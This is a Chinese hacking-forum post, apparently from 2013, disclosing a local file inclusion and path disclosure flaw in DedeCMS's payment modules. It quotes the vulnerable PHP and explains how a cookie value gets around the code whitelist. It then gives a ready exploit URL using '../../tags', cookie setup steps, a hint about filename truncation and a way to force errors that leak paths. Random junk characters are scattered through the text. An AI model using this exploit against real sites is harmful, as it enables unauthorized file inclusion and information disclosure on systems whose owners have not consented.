找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2060|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)" D3 M3 y/ m8 i* k( y
  [0 j& H4 G$ N+ I% {+ H; f
出现漏洞的两个文件为:' o" i& P5 A% f* k
Include/payment/alipay.php4 W% F3 h% Z$ A
Include/payment/yeepay.php
4 \! j5 z7 S8 i% \漏洞均出现在respond方法里,估计这两个文件是临时工写的。0 A9 a7 G' A$ o2 f1 V" g9 o
) L" B* Z  D. X3 [# v; [# |5 p
Include/payment/alipay.php/ \* ]% P/ V( [+ Y7 v$ F) g

: |- Q1 b9 f/ h, y& V  D6 [# J....... d3 X- K. J  ^! ^6 h" B/ H
   function respond()
3 o. Y. a0 X3 x5 i) c/ L+ @    {# U; q5 H2 ^4 O! W- }& p( a
        if (!empty($_POST))$ ]! f& M3 z7 m. x- a- K
        {- ], [# \3 \+ _4 @6 v' z( ^$ b; c& y6 O$ e
            foreach($_POST as $key => $data)) D% Y$ y4 l/ R! X2 V( u1 ]
            {
0 i' d5 S: ~0 e8 \7 O                $_GET[$key] = $data;0 T4 s7 j, n: }" t7 G# E
            }
/ p! J& z- Q1 l" o& n6 u        }7 T9 U6 U7 J7 c7 Q4 ?- e% C7 M
        /* 引入配置文件 */
8 l) S1 i' X$ C9 S. B        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';" L% c. ?4 Z  ]$ T! i9 Y  D  l
...... 1 i* Z/ G6 A7 \

1 w9 F7 D! ~3 m6 |: i; k5 T3 y7 I  V: t: H
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。* i1 L& R( C9 [4 v" h/ r8 e

' ?( P9 a. A+ ^2 ]6 B6 lInclude/payment/yeepay.php
- K# y. t* W9 P
  C& A6 I) @! z/ E+ K4 c, k
" f# s+ _8 k4 c: @+ H6 W
( F8 o% I# S9 ~% z......5 Z. E5 w( F7 J5 V/ }' ^  j4 X: ~
    function respond()
+ _$ D8 {4 z/ B! Y' ?* `/ y! K    {6 t) u) z( c+ t9 w" D( G' e
, g. H- ^; _5 P, b+ G1 `1 `
        /* 引入配置文件 */- t0 R$ C1 H4 c5 v
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';8 b3 F. C8 f0 C. D

* w% E% S9 ]+ N2 K  z$ u        $p1_MerId = trim($payment['yp_account']);
; G5 W% Y' b3 W. `        $merchantKey = trim($payment['yp_key']);' ?; f# E& w2 m
...... / Q7 ?) E0 t- N6 Y$ n
2 e/ e0 D( C; }6 U, j4 ^7 a
1 Y* u0 e% z, [/ P+ _5 }+ X

9 ?; Z0 A2 u* V- y. o
, R. T( r* @7 Q' H1 S9 r' A& {, h大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
* H( F; b8 f/ F) n- j- I" n) Q) |3 f9 a
这两个方法在plus/carbuyaction.php文件调用。8 z- J, M) c4 ~% x. g. g' k
( ]3 x- _# _4 ^' q
plus/carbuyaction.php
  \- i4 O+ b& ^$ `$ n2 m! X. L/ h5 `3 p9 C- X; F
......) t5 \/ L  A" ^* z" j7 Z" K
} else if ($dopost == 'return') {# p' p0 ~) M6 l! J3 f
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');4 J5 C, i4 \) X( R, O6 d  F4 {
    if (in_array($code, $write_list))
; `+ {' P3 p/ [- F    {
9 ]; k  V3 R4 @3 ^; A: C& w        require_once DEDEINC.'/payment/'.$code.'.php';8 Z) N9 x) E) d, g4 A
        $pay = new $code;6 \: Z: ]7 b. |& r: u: L" L, ]
        $msg=$pay->respond();% _- l/ \# V% K' v: r
        ShowMsg($msg, "javascript:;", 0, 3000);9 a$ f' b; {' p; P; \! E+ Z
        exit();  
6 u' D, k6 ~/ n5 R* k8 G' i/ T- Y    } else {
8 }* i; o5 X6 o1 ?        exit('Error:File Type Can\'t Recognized!');. i0 ]6 r  Q2 N
    }
1 U/ j  S/ D; o" S* x3 W}, I% M8 n% h) [8 k: X& v
......
5 o# n- [. C* l& H* e! H7 V % z- u5 A( r" p4 p+ n! v( \
( _( n$ t6 P% Z1 Q9 l: O
: d! j, x1 ~! G% D
7 e3 C/ g! a7 V  L. q

5 l9 C0 r. C0 u* u5 \
+ }/ u) ^* c! i# m' k大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
) o; t  O% G+ q( B- R所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。8 z# U1 C9 O8 y$ x9 I- s4 x' Y6 y8 ^
/ f0 m+ x& Y% [4 \1 M1 M: m+ \) c0 P
回到include/common.inc.php来看看他的机制。  g- G9 H: t4 s1 W. h1 ~
0 S3 S* l" `4 ]! I% B/ Z' v  s* Q
+ {" s1 t" v* a7 f( i0 ]
/ _: d, d# }! T0 _1 V: L7 `
......
# k+ J$ l8 m6 k! M3 c1 o# A" X, Dforeach(Array('_GET','_POST','_COOKIE') as $_request)
1 K$ b1 d$ E# t% X: Q3 |7 A" q{$ q" F. d9 z2 ]+ Z
        foreach($$_request as $_k => $_v) 6 S( ]6 U7 I6 T& w
        {
+ i1 @5 [2 a: _* i6 L3 o' _. ]                if($_k == 'nvarname') ${$_k} = $_v;
- X' c$ f0 x% v9 w                else ${$_k} = _RunMagicQuotes($_v);  H2 W8 S/ l3 b1 c7 O1 Q
        }
1 Z1 ^1 S1 N! B" [' g! ?& B8 G1 A0 J}
7 D' d6 O2 d; P* x# F...... ' F( ?* O% d5 ?$ r
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
0 d% A  D% w, T: g8 j3 C/ |由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表